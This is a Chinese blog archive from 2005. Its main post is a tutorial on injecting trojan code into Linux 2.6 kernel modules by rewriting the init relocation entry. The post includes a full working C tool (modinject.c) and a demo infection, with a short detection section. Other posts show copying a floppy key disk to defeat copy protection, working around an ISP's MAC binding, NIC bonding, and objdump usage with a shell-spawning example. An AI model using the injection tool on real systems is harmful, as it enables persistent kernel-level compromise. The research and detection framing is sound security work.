2005年01月13日

 |=——————-[ module injection in 2.6 kernel ]——————-=|
|=————————————————————————=|
|=—————[ CoolQ  <qufuping@ercist.iscas.ac.cn> ]—————–=|
|=————————————————————————=|

0 – 前言
1 – 2.4 回顾
2 – 2.6 的变化
    2.1 2.6的.ko文件
    2.2 失效的原因
3 – 对策
    3.1 修改.rel.gnu.linkonce.this_module
    3.2 例子
4 – 检测module injection的方法
5 – 参考
6 – 代码

–[ 0 - 前言

phrack 61期有一篇不错的文章[1],给出了一种感染内核模块的方法,不过是基于2.4
内核的,该方法在2.6上无效,但是思想还是通用的。通过对2.6内核加载的分析,了解
两者之间的差异,并最终实现2.6下的module injection。

–[ 1 - 2.4 回顾

内核对模块的管理,是通过struct module来实现的,该结构的成员init/cleanup,代表
加载/卸载模块后需要运行的初始化/收尾函数,它的赋值是通过以下代码实现的:
module->init = obj_symbol_final_value(f,
                obj_find_symbol(f, "init_module"));
module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));
可见,insmod需要在.strtab中查找init_module/cleanup_module字符串,并根据索引值
找到相应的.symtab中的符号,将相应的值赋值给module->init/cleanup。

因此,如果能把.strtab中别的字符串替换为init_module,那么系统加载的时候,运行的
就不是原来的init_module函数了。

--[ 2 - 2.6 的变化

2.6中的模块子系统被完全重写,如果用[1]中的工具,发现无论怎么修改.strtab,运行
的始终是原来的init_module。

–[ 2.1 2.6的.ko文件

2.6下的模块,扩展名为.ko,而不是2.4下的.o。很多初学者写完模块之后,会使用2.4的
方法来编译模块
-----------------------------8 test.c 8--------------------------------------
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static int dummy_init(void)
{
    printk("hello,world.\n");
    return 0;
}
static void dummy_exit(void)
{
    return;
}

module_init(dummy_init);
module_exit(dummy_exit);

MODULE_LICENSE("GPL")
------------------------------8 cut here 8-----------------------------------
# gcc -c -O2 -DMODULE -D__KERNEL__ -I/usr/src/linux test.c
# insmod test.o
No module found in object
insmod: error inserting 'test.o': -1 Invalid module format

正确的做法是写一个Makefile,由内核的Kbuild来帮你编译
-------------------------------8 Makefile 8-----------------------------------
obj-m := module.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
--------------------------------8 cut here 8----------------------------------
#make
make -C /lib/modules/2.6.5-1.358/build SUBDIRS=/test modules
make[1]: Entering directory `/lib/modules/2.6.5-1.358/build’
  CC [M]  /test/modinject/test.o
  Building modules, stage 2.
  MODPOST
  CC      /test/modinject/test.mod.o
  LD [M]  /test/modinject/test.ko
make[1]: Leaving directory `/lib/modules/2.6.5-1.358/build’
#ll
-rw-r–r–  1 root root   268 Jan  7 08:31 test.c
-rw-r–r–  1 root root  2483 Jan  8 09:19 test.ko
-rw-r–r–  1 root root   691 Jan  8 09:19 test.mod.c
-rw-r–r–  1 root root  1964 Jan  8 09:19 test.mod.o
-rw-r–r–  1 root root  1064 Jan  8 09:19 test.o

其实上边的test.o就是用gcc生成的test.o,而test.ko是使用下列命令来生成的
#ld -m elf_i386 -r -o test.ko test.o test.mod.o

再来看看test.mod.c,它是由/usr/src/linux/scripts/modpost.c来生成的
#cat test.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

#undef unix
struct module __this_module
__attribute__((section(“.gnu.linkonce.this_module”))) = {
.name = __stringify(KBUILD_MODNAME),
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
};
static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section(“__versions”))) = {
        {        0, “cleanup_module” },
        {        0, “init_module” },
        {        0, “struct_module” },
        {        0, “printk” },
};
static const char __module_depends[]
__attribute_used__
__attribute__((section(“.modinfo”))) =
“depends=”;

可见,test.mod.o只是产生了几个ELF的节,分别是modinfo, .gun.linkonce.this_module
(用于重定位,引进了rel.gnu.linkonce.this_module), __versions。而test.ko是test.o
和test.mod.o合并的结果。

–[ 2.2 失效的原因

在2.1给出的test.c中,模块的初始化函数是dummy_init,这是通过module_init
(dummy_init)来实现的,module_init的作用是把dummy_init作为init_module的alias,这
个可以查看生成的符号表来验证:
   16: 00000000    14 FUNC    LOCAL  DEFAULT    1 dummy_init
   25: 00000000    14 FUNC    GLOBAL DEFAULT    1 init_module
看, 符号的st_value都是0,而且除了BIND类型以外,其他的完全一样!

在2.6的内核源代码中,并没有见到对module->init赋值的操作。问题的关键就是
test.mod.c中的那个struct module __this_module,这实际上就是内核用来管理的module
结构。内核装载模块的时候,会将这个节直接复制,并将module的指针指向__this_module
, 而".init = init_module"将module->init初始化为init_module.

如果你了解符号的解析过程,你应该很清楚:符号的重定位不需要.strtab的参与

看一下Elf32_Rel的定义
  typedef struct {
      Elf32_Addr r_offset;
      Elf32_Word r_info;
  } Elf32_Rel;
和重定位节.rel.gnu.linkonce.this_module
Relocation section '.rel.gnu.linkonce.this_module' at offset 0x758 contains 2
entries:
Offset     Info    Type            Sym.Value  Sym. Name
00000068  00001901 R_386_32          00000000   init_module
0000018c  00001801 R_386_32          0000000e   cleanup_module

0x68就是init在module struct中的偏移量,重定位的类型是R_386_32,重定位的目标是
上边符号表中的25: 0x0(节中的偏移量) 14(大小) FUNC(该符号是函数) GLOBAL(全局)
Default(可见域) 1(代表是Index为1的节 - .text) init_module(符号名)

也就是说,无论你将.strtab中的init_module修改为什么值,最终重定位的目标还是索引
为25的符号(init_module这个字符串只是给人看得,重定位不使用)。

--[ 3 - 对策

--[ 3.1 修改.rel.gnu.linkonce.this_module

既然知道了问题的原因,解决的方法就很容易了:我们的目标从.strtab变成了
.rel.gnu.linkonce.this_module中的Elf32_Rel entry。
具体的过程如下:
1. 编写木马模块,编译成.o(注意不是.ko),木马的内容在3.2中给出
2. ld -r -o final.ko good.ko evil.o
3. 找到final.ko中的.rel.gnu.linkonce.this_module节
4. 遍历所有的entry, 如果ELF32_R_SYM(rel->r_info) == orig_init_idx,将
rel->r_info的symbol部分替换成木马的函数索引号,cleanup的情况相同
5. 将final.ko重命名为good.ko (因为ko中有一个meta data,名称必须相同)

--[ 3.2 例子

我们来把下列代码注射到上边的test.ko中
--------------------------------8 evil.c 8------------------------------------
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

extern int init_module(void);

int main(int argc, char *argv)
{
        printk("hello,evil world.\n");
        init_module();
        return 0;
}
-------------------------------8 cut here 8-----------------------------------
1.# gcc -O2 -c -DMODULE -D__KERNEL__ -I/usr/src/linux-2.6/include evil.c
    .OR.
  # make (前题是你写了一个符合evil.c的Makefile)
2.# ld -r -o final.ko test.ko evil.o
3.# ./modinject final.ko main
  [+] – Change Reloc init OK !
4.# mv final.ko test.ko
5.# insmod test.ko
  hello,evil world.
  hello,world.
OK. 目的达到。请读者自行考虑木马里调用的为什么是init_module,程序能正常运行的
原因是什么,并对照2.4的相关部分。

–[ 4 - 检测module injection的方法

对付module injection的方法很多,文件完整性检查是方法之一。
如果没有准备哈希数据库,该怎么办呢?我们可以使用readelf或者objdump:
# readelf -r test.ko
...

Relocation section '.rel.gnu.linkonce.this_module' at offset 0x7a4 contains 2
entries:
Offset     Info    Type            Sym.Value  Sym. Name
00000068  00001c01 R_386_32          00000010   main     <--- 应该是init_module
0000018c  00001901 R_386_32          0000000e   cleanup_module

不过一定要瞪大眼睛哦,万一攻击者将init_module->init_modu1e,可不要被骗了 :-}

--[ 5 - 参考

  [1] [http://www.phrack.org/show.php?p=61&a=10]
  [2] kernel source code
  [3] ELF规范

–[ 6 - 代码

/* Name   : modinject.c
* Author : CoolQ
* Purpose: 2.6 kernel module injection
* Usage  : # gcc -c evil.c
*          # ld -r good.ko evil.o -o tmp.ko
*          # mv tmp.ko good.ko    # good.ko already infected
*          # ./modinject good.ko evil_func_start evil_func_end
*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <strings.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>

#define ERROR(str)        \
    do{            \
        perror(str);    \
        exit(EXIT_FAILURE);    \
    }while(0)

void usage(char *prog);
int check_hdr(Elf32_Ehdr *ehdr);
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index);
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name);
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx);

void *base;  /* mmap base addr */

int main(int argc, char *argv[])
{
    char         *module_file, *evil_init_str, *evil_cleanup_str;
    int        fd, i;
    struct stat    stat;
    Elf32_Ehdr     *ehdr;
    Elf32_Shdr    *shdr, *module_sec;
    int        orig_init_idx, orig_cleanup_idx;
    int        evil_init_idx, evil_cleanup_idx;
    Elf32_Rel    *rel;
    
    if(argc != 3 && argc != 4)
        usage(argv[0]);
    
    module_file = argv[1];
    evil_init_str = argv[2];
    if(argc == 4)
        evil_cleanup_str = argv[3];
    else
        evil_cleanup_str = NULL;

    if((fd = open(module_file, O_RDWR)) == -1)
        ERROR(“open file error.\n”);
    if(fstat(fd, &stat) == -1)
        ERROR(“get stat error.\n”);
    
    base = mmap(0, stat.st_size, PROT_READ | PROT_WRITE,
            MAP_SHARED, fd, 0);
    if(base == MAP_FAILED)
        ERROR(“mmap error.\n”);
    
    ehdr = (Elf32_Ehdr *)base;
    
    if(check_hdr(ehdr) == -1)
        ERROR(“Not a valid Elf32 file.\n”);
    
    /* get struct module */
    module_sec = Elf32_GetSectionByName(ehdr,
            ”.rel.gnu.linkonce.this_module”);
    if(module_sec == -1)
        ERROR(“this is not a valid module file.\n”);
    
    /* get symbol index */
    evil_init_idx = Elf32_GetSymbolIndexByName(ehdr, evil_init_str);
    if(argc == 4)
        evil_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, evil_cleanup_str);
    else
        evil_cleanup_idx = 0;
    orig_init_idx = Elf32_GetSymbolIndexByName(ehdr, “init_module”);
    if(argc == 4)
        orig_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, “cleanup_module”);
    else
        orig_cleanup_idx = 0;
    if(evil_init_idx == -1 || evil_cleanup_idx == -1
        || orig_init_idx == -1 || orig_cleanup_idx == -1)
        ERROR(“no such func names.\n”);
    
    /* change reloc symbols if necessary */
    for(i = 0; i < module_sec->sh_size / sizeof(Elf32_Rel); i++){
        rel = base + module_sec->sh_offset + i * sizeof(Elf32_Rel);
                if(ELF32_R_SYM(rel->r_info) == orig_init_idx){
                        fprintf(stdout, “[+] – Change Reloc init OK !\n”);
                        Elf32_Change_Reloc(rel, evil_init_idx);
                }
                else if(argc == 4 &&
                                ELF32_R_SYM(rel->r_info) == orig_cleanup_idx){
                        fprintf(stdout, “[+] – Change Reloc cleanup OK !\n”);
                        Elf32_Change_Reloc(rel, evil_cleanup_idx);
                }
    }
    
    msync(base, stat.st_size, MS_SYNC);
    munmap(base, stat.st_size);
    close(fd);
    return 0;
}
void usage(char *prog)
{
    fprintf(stderr, “Usage:\n”);
    fprintf(stderr, “\t%s infected.ko evil_func_start evil_func_end.\n”,
            prog);
    fprintf(stderr, “OR\n”);
    fprintf(stderr, “\t%s infected.ko evil_func_start.\n”);
    exit(EXIT_FAILURE);
    return;
}
int check_hdr(Elf32_Ehdr *ehdr)
{
    /* some sanity checks */
    if(    ehdr->e_ident[EI_MAG0] != 0×7f ||
        ehdr->e_ident[EI_MAG1] != ‘E’ ||
        ehdr->e_ident[EI_MAG2] != ‘L’ ||
        ehdr->e_ident[EI_MAG3] != ‘F’ ||
        ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
        ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
        ehdr->e_ident[EI_VERSION] != EV_CURRENT ||
        ehdr->e_type != ET_REL ||
        ehdr->e_machine != EM_386 )
        return -1;
    else
        return 0;
}
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index)
{
    return(base + (ehdr->e_shoff + sizeof(Elf32_Shdr) * index));
}
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char        *secname;
    Elf32_Shdr    *strtab, *sec;

    strtab = Elf32_GetSectionByIndex(ehdr, ehdr->e_shstrndx);
    for(i = 0; i < ehdr->e_shnum; i++){
        sec = Elf32_GetSectionByIndex(ehdr, i);
        secname = base + strtab->sh_offset + sec->sh_name;
        if(strcmp(name, secname) == 0)
            return(sec);
    }
    return -1;
}
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char         *sym_name;
    Elf32_Shdr    *symtab, *strtab;
    Elf32_Sym    *symbol;
    
    symtab = Elf32_GetSectionByName(ehdr, “.symtab”);
    strtab = Elf32_GetSectionByName(ehdr, “.strtab”);
    if(symtab == -1 || strtab == -1)
        ERROR(“no symtab section or strtab section.\n”);
    for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
        symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
        sym_name = base + strtab->sh_offset + symbol->st_name;
        if(strcmp(name, sym_name) == 0 && /* only return func symbol */
            ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
            return symbol;
    }
    return -1;
}
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char         *sym_name;
    Elf32_Shdr    *symtab, *strtab;
    Elf32_Sym    *symbol;
    
    symtab = Elf32_GetSectionByName(ehdr, “.symtab”);
    strtab = Elf32_GetSectionByName(ehdr, “.strtab”);
    if(symtab == -1 || strtab == -1)
        ERROR(“no symtab section or strtab section.\n”);
    for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
        symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
        sym_name = base + strtab->sh_offset + symbol->st_name;
        if(strcmp(name, sym_name) == 0 &&
            ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
            return i;
    }
    return -1;

}

int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx)
{
    unsigned int type;

    type = ELF32_R_TYPE(sym_rel->r_info);
    sym_rel->r_info = ELF32_R_INFO(to_idx, type);
    
    return 0;
}

2005年01月12日

 中国电信获得更高的利润(他们的利润已经很高了)而打击一个IP多台机器上网,对于ADSL用户电信绑定了一台PC网卡的MAC地址,这样我们就不能通过 ADSL拨号再将ADSL设置成网关了,只能通过一台PC用虚拟拨号的方式上网,这样的话局域网内的其他机器上网一般都通过代理的方式,代理始终不是很方便,因为不是直连很多东西用不了,如SSH,3389的登录终端等。为了打破这很限制,这里给出如下方法:
适用环境:被电信绑定了MAC,又有多台电脑要上网(一般是高校公寓域有多台电脑的家庭)
优点:使得局域网,所有机器可以直连上网不需要用代理
局限性:作网关的机器不能关机(否则一个局域网都不能上网了)
一、Linux平台(IP:192.168.10.254)
这里是指用Linux的机器拨号。
首先设置网卡MAC地址(地址要和电信绑定的MAC地址相同)
/sbin/ipconfig down
/sbin/ipconfig hw ether 00EEFFAADDCC
/sbin/ipconfig up

然后配置adsl
/sbin/adsl-setup
(按照提示填完每一步)

开始拨号
/sbin/adsl-start

检查拨号是否成功
/sbin/ifconfig
如果拨号成功了会得到一个公网IP

利用iptables配透明网关
/etc/init.d/iptables stop
echo “1″>/proc/sys/net/ipv4/ip_forward
/sbin/iptables -A POSTROUTING -t nat -s 192.168.10.0/24 -o ppp0 -j MASQUERADE
/etc/init.d/iptables save
/etc/init.d/iptables start

OK,在该局域网的另一台机器上将网关设成192.168.10.254,再设DNS设置好,这台机器就相当于和intetnet直连了,如果在 Linux的网关上也配一下端口映射,那就可以从intetnet上连回来了(习惯用nc和tftp的朋友会需要的。

二、windows平台
这里以win2003(因为我装的是2003),
先在设置管理器中改MAC地址(如果绑定的是本机则可以不改)
在“管理工具”里点“路由和远程访问”,在这里进行配置。这里的配置过程就不多了,中文图形界的就不用多说了吧。
这里要注意的是拨号是不要用虚拟拨号,在要“路由和远程访问”连接

2005年01月09日

使用软盘做钥匙盘在我的记忆中似乎是很遥远的事情了,第一次见到是一套计算机等级考试的软件。
如果使用文件的复制的方法把软盘的资料copy到另外一个软盘,那肯定会告诉你这不是一张有效的钥匙盘。
那个时候也没有想到比较好的办法。
今天又有人拿一个钥匙盘过来,问我能不能破解,我的第一反应就是使用linux的dd命令。
操作过程如下:
1.插入正确的钥匙盘,执行下面的命令

代码::

#dd if=/dev/fd0 of=fd0.img


2.取出钥匙盘,插入你要复制的空白软盘(当然不是空白的也没有什么问题),执行下面的命令:

代码::

#dd if=fd0.img of=/dev/fd0


ok,取出你的复制的软盘,测试一下,看有没有问题!

申明:本方法仅供研究参考,采用此方法进行任何非法操作,本人不负任何责任!

双网卡负载均衡及路径切换配置
────────────────────────────
作者:mlsx
发布于:http://bbs.xplore.cn

如果需要转贴,请保留上述信息,谢谢!
────────────────────────────
1.前言
双网卡负载均衡其实很早就在linux内核里面实现了,我见到的最早的版本是2.2.10的内核。不过那个时候还没要作为缺省功能编译到内核里面去,如果你需要这个功能你需要编译内核,然后选中bonding相关选项。我最早使用了bonding是在我最毕业设计时,在iSCSI技术里面加入了bonding技术。通过测试发现对于小数据包的传送,单网卡比双网卡要快,这当然也是正常的,只有在大数据传送的情况下,它才能显示优势,比如流媒体文件的传输。2.4.x以后的内核就把bonding技术作为缺省功能编译进去了,而且还加入了路径切换的功能,那就更加完美了。

2.测试环境
硬件:
CPU Celeron 766MHz
MEM 92M (100MHz)
网卡:D-LINK,Realtalk
软件:
OS Fedora Core 2 (2.6.5-1.358)

3.配置过程
其实在linux里面配置双网卡负载均衡和路径切换很简单,只需要修改或增加一些配置文件就可以了。
a)首先配置/etc/modules.conf文件,添加下面的信息

代码::

alias bond0 bonding
options bond0 miimon=100 mode=1


第一行的意思我想大家都很明白,就是增加一个设备驱动的别名,真正的驱动名字是bonding.ko
第二上是驱动加载时的参数,这里解释一下
“miimon=100”,表示链路检测的时间间隔,单位是毫秒。
“mode=1”,这里表示双网卡bond的模式,目前官方发布的模式有0,1,2,3,4,5,6共7种,我们一般常用的是0,1两种。这里分别介绍
0表示round-robin模式,它从第一块有效的网卡传输资料,知道最后一块。它提供了负载均衡和容灾的功能
1表示active-backup模式,表示每次只有一个网卡是激活和有数据传输的,其它网卡处于backup状态,一旦激活的网卡链路出现问题,backup状态的网卡就会激活成为active状态这种模式提供了容灾的功能,但是没有负载均衡的功能。

b)配置bond0的配置文件

代码::

#cat /etc/sysconfig/network-scripts/ifcfg-bond0
DEVICE=bond0
IPADDR=192.168.10.254
NETMASK=255.255.255.0
NETWORK=192.168.10.0
BROADCAST=192.168.10.255
ONBOOT=yes
BOOTPROTO=none
USERCTL=no

#cat /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
ONBOOT=yes
MASTER=bond0
SLAVE=yes
USERCTL=no
BOOTPROTO=none


#cat /etc/sysconfig/network-scripts/ifcfg-eth1
DEVICE=eth1
ONBOOT=yes
MASTER=bond0
SLAVE=yes
USERCTL=no
BOOTPROTO=none



c)起动并测试
ok,你现在可以起动你的配置文件了,不过在起动之前,先看看有没有加载bonding内核模块(使用lsmod命令),如果没有,那就加载它,使用下面的命令

代码::

modprobe bonding


然后使用下面的命令重新起动网络

代码::

/etc/init.d/networkd restart


在使用ifconfig命令看看结果,如果你能看到下面类似的输出,那就配置没有问题了

代码::

#ifconfig
bond0     Link encap:Ethernet  HWaddr 00:1A:34:56:91:BE
          inet addr:192.168.10.254  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link
          UP BROADCAST RUNNING MASTER MULTICAST  MTU:1500  Metric:1
          RX packets:2620 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1352 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:259480 (253.3 Kb)  TX bytes:292208 (285.3 Kb)

eth0      Link encap:Ethernet  HWaddr 00:1A:34:56:91:BE
          inet6 addr: fe80::21a:34ff:fe56:91be/64 Scope:Link
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:1218 errors:0 dropped:0 overruns:0 frame:0
          TX packets:613 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:118905 (116.1 Kb)  TX bytes:132632 (129.5 Kb)
          Interrupt:11 Base address:0×9000

eth1      Link encap:Ethernet  HWaddr 00:1A:34:56:91:BE
          inet6 addr: fe80::21a:34ff:fe56:91be/64 Scope:Link
          UP BROADCAST RUNNING SLAVE MULTICAST  MTU:1500  Metric:1
          RX packets:1402 errors:0 dropped:0 overruns:0 frame:0
          TX packets:741 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:140575 (137.2 Kb)  TX bytes:161196 (157.4 Kb)
          Interrupt:12 Base address:0xd000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:82 errors:0 dropped:0 overruns:0 frame:0
          TX packets:82 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5700 (5.5 Kb)  TX bytes:5700 (5.5 Kb)


你还可以通过下面的命令来查看bond0的基本信息

代码::

#more /proc/net/bonding/bond0

Bonding Mode: load balancing (round-robin)
MII Status: up
MII Polling Interval (ms): 0
Up Delay (ms): 0
Down Delay (ms): 0

Slave Interface: eth0
MII Status: up
Link Failure Count: 0
Permanent HW addr: 00:1a:34:56:91:be

Slave Interface: eth1
MII Status: up
Link Failure Count: 0
Permanent HW addr: 00:0a:eb:82:da:ab


下面我们测试一下路径切换,准备一台机器,采用ping的方式看链路情况。
然后在测试的机器上随便拔掉一根网线,看看情况,我的机器的情况是大约8秒的样子链路切换了,如果全部拔掉,然后随便插入一根网线,大约需要10秒的时间恢复链路。

4.后记
这个测试我在04年的12月份做过测试,不过是在我的笔记本上测试的,一块网卡是8139的,另外一块是讯驰的无线网卡,记过发现起动bond0时会死机。我不知道是不是无线网卡和有线网卡不能做这样的操作,不过我可以肯定的是如果即使这样bond0能起来,把链路切换到无线网卡上时,肯定会失败,因为无线网卡加入时需要验证。不过我想做这些配置应该是在服务器上,还没有谁在服务器上配置两个无线网卡吧!

2005年01月05日

 概述:

objdump有点象那个快速查看之流的工具,就是
以一种可阅读的格式让你更多地了解二进制文件
可能带有的附加信息。对于一般只想让自己程序
跑起来的程序员,这个命令没有更多意义,对于
想进一步了解系统的程序员,应该掌握这种工具,
至少你可以自己写写shellcode了,或者看看人家
给的exploit中的shellcode是什么东西。

目录:

★ 测试练习前的准备工作
★ Redhat 6.0 objdump命令的man手册
★ objdump应用举例(待增加)
★ 相关命令

★ 测试练习前的准备工作

cp /usr/lib/libpcap.a /home/scz/src
nm -s libpcap.a | more
ar tv libpcap.a
ar xv libpcap.a inet.o
nm -s inet.o

关于nm -s的显示请自己man nm查看

★ Redhat 6.0 objdump命令的man手册

objdump – 显示二进制文件信息

objdump
[-a] [-b bfdname |
--target=bfdname] [-C] [--debugging]
[-d] [-D]
[--disassemble-zeroes]
[-EB|-EL|--endian={big|little}] [-f]
[-h] [-i|--info]
[-j section | --section=section]
[-l] [-m machine ] [--prefix-addresses]
[-r] [-R]
[-s|--full-contents] [-S|--source]
[--[no-]show-raw-insn] [--stabs] [-t]
[-T] [-x]
[--start-address=address] [--stop-address=address]
[--adjust-vma=offset] [--version] [--help]
objfile…

–archive-headers
-a 显示档案库的成员信息,与 ar tv 类似

objdump -a libpcap.a
和 ar -tv libpcap.a 显示结果比较比较
显然这个选项没有什么意思。

–adjust-vma=offset
When dumping information, first add offset to all
the section addresses. This is useful if the sec-
tion addresses do not correspond to the symbol
table, which can happen when putting sections at
particular addresses when using a format which can
not represent section addresses, such as a.out.

-b bfdname
–target=bfdname
指定目标码格式。这不是必须的,objdump能自动识别许多格式,
比如:objdump -b oasys -m vax -h fu.o
显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys
编译器生成的目标文件。objdump -i将给出这里可以指定的
目标码格式列表

–demangle
-C 将底层的符号名解码成用户级名字,除了去掉所有开头
的下划线之外,还使得C++函数名以可理解的方式显示出来。

–debugging
显示调试信息。企图解析保存在文件中的调试信息并以C语言
的语法显示出来。仅仅支持某些类型的调试信息。

–disassemble
-d 反汇编那些应该还有指令机器码的section

–disassemble-all
-D 与 -d 类似,但反汇编所有section

–prefix-addresses
反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
显示效果并不理想,但可能会用到其中的某些显示,自己可以对比。

–disassemble-zeroes
一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。

-EB
-EL
–endian={big|little}
这个选项将影响反汇编出来的指令。
little-endian就是我们当年在dos下玩汇编的时候常说的高位在高地址,
x86都是这种。

–file-headers
-f 显示objfile中每个文件的整体头部摘要信息。

–section-headers
–headers
-h 显示目标文件各个section的头部摘要信息。

–help 简短的帮助信息。

–info
-i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表。

–section=name
-j name 仅仅显示指定section的信息

–line-numbers
-l 用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用
使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求
编译时使用了-g之类的调试编译选项。

–architecture=machine
-m machine
指定反汇编目标文件时使用的架构,当待反汇编文件本身没有描述
架构信息的时候(比如S-records),这个选项很有用。可以用-i选项
列出这里能够指定的架构

–reloc
-r 显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇
编后的格式显示出来。

–dynamic-reloc
-R 显示文件的动态重定位入口,仅仅对于动态目标文件有意义,比如某些
共享库。

–full-contents
-s 显示指定section的完整内容。

objdump –section=.text -s inet.o | more

–source
-S 尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,
效果比较明显。隐含了-d参数。

–show-raw-insn
反汇编的时候,显示每条汇编指令对应的机器码,除非指定了
–prefix-addresses,这将是缺省选项。

–no-show-raw-insn
反汇编时,不显示汇编指令的机器码,这是指定 –prefix-addresses
选项时的缺省设置。

–stabs
Display the contents of the .stab, .stab.index, and
.stab.excl sections from an ELF file. This is only
useful on systems (such as Solaris 2.0) in which
.stab debugging symbol-table entries are carried in
an ELF section. In most other file formats, debug-
ging symbol-table entries are interleaved with
linkage symbols, and are visible in the –syms output.

–start-address=address
从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。

–stop-address=address
显示数据直到指定地址为止,该选项影响-d、-r和-s选项的输出。

–syms
-t 显示文件的符号表入口。类似于nm -s提供的信息

–dynamic-syms
-T 显示文件的动态符号表入口,仅仅对动态目标文件有意义,比如某些
共享库。它显示的信息类似于 nm -D|–dynamic 显示的信息。

–version 版本信息

objdump –version

–all-headers
-x 显示所有可用的头信息,包括符号表、重定位入口。-x 等价于
-a -f -h -r -t 同时指定。

objdump -x inet.o

参看 nm(1)

★ objdump应用举例(待增加)

/*
g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
*/
#include
#include
int main ( int argc, char * argv[] )
{
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
return 0;
}

g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
objdump -j .text -Sl objtest | more
/main(查找)

08048750 :
main():
/home/scz/src/objtest.c:7
*/
#include
#include
int main ( int argc, char * argv[] )
{
8048750: 55 pushl %ebp
8048751: 89 e5 movl %esp,%ebp
/home/scz/src/objtest.c:8
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
8048753: 6a 00 pushl $0×0
8048755: 68 d0 87 04 08 pushl $0×80487d0
804875a: 68 d3 87 04 08 pushl $0×80487d3
804875f: 68 d3 87 04 08 pushl $0×80487d3
8048764: e8 db fe ff ff call 8048644 <_init+0×40>
8048769: 83 c4 10 addl $0×10,%esp
/home/scz/src/objtest.c:9
return 0;
804876c: 31 c0 xorl %eax,%eax
804876e: eb 04 jmp 8048774
8048770: 31 c0 xorl %eax,%eax
8048772: eb 00 jmp 8048774
/home/scz/src/objtest.c:10
}
8048774: c9 leave
8048775: c3 ret
8048776: 90 nop

如果说上面还不够清楚,可以用下面的命令辅助一下:

objdump -j .text -Sl objtest –prefix-addresses | more
objdump -j .text -Dl objtest | more

去掉调试编译选项重新编译
g++ -O3 -o objtest objtest.c
objdump -j .text -S objtest | more

08048778 :
main():
8048778: 55 pushl %ebp
8048779: 89 e5 movl %esp,%ebp
804877b: 6a 00 pushl $0×0
804877d: 68 f0 87 04 08 pushl $0×80487f0
8048782: 68 f3 87 04 08 pushl $0×80487f3
8048787: 68 f3 87 04 08 pushl $0×80487f3
804878c: e8 db fe ff ff call 804866c <_init+0×40>
8048791: 31 c0 xorl %eax,%eax
8048793: c9 leave
8048794: c3 ret
8048795: 90 nop

与前面-g编译后的二进制代码比较一下,有不少区别。

至于如何写shellcode、如何理解别人给出的shellcode,请参看华中站
系统安全版精华区中的”如何写自己的shellcode”

★ 相关命令

man objcopy
man nm
man gdb | dbx | sdb

 概述:

objdump有点象那个快速查看之流的工具,就是
以一种可阅读的格式让你更多地了解二进制文件
可能带有的附加信息。对于一般只想让自己程序
跑起来的程序员,这个命令没有更多意义,对于
想进一步了解系统的程序员,应该掌握这种工具,
至少你可以自己写写shellcode了,或者看看人家
给的exploit中的shellcode是什么东西。

目录:

★ 测试练习前的准备工作
★ Redhat 6.0 objdump命令的man手册
★ objdump应用举例(待增加)
★ 相关命令

